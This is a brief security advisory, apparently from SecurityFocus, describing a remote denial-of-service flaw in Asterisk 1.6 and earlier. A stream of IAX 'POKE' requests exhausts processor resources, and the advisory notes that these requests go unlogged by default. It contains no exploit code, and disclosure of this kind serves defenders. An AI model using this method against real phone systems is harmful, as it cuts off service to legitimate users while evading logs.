Asterisk <= 1.6 IAX 'POKE' Requests Remote Denial of Service Vulnerability

                                                source: http://www.securityfocus.com/bid/30321/info

Asterisk is prone to a remote denial-of-service vulnerability because it fails to handle multiple 'POKE' requests in quick succession.

Attackers can exploit this issue by sending a persistent stream of 'POKE' requests that will consume processor resources and deny service to legitimate users.

NOTE: By default, 'POKE' requests are not logged by Asterisk.
